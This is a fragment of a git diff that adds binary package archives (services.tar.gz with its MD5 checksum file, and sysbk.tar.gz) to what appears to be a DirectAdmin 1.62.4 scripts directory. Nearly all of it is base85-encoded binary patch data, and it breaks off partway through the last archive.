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 literal 0 HcmV?d00001 diff --git a/directadmin-1.62.4/scripts/packages/services.tar.gz.md5 b/directadmin-1.62.4/scripts/packages/services.tar.gz.md5 new file mode 100644 index 0000000..bd5d2eb --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/services.tar.gz.md5 @@ -0,0 +1 @@ +e217b8408be282fec0ad2f1f11a54a0b services_es80_64.tar.gz diff --git a/directadmin-1.62.4/scripts/packages/sysbk.tar.gz b/directadmin-1.62.4/scripts/packages/sysbk.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..44a331034850e509f3ac414b3844412708e9f657 GIT binary patch literal 15306 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 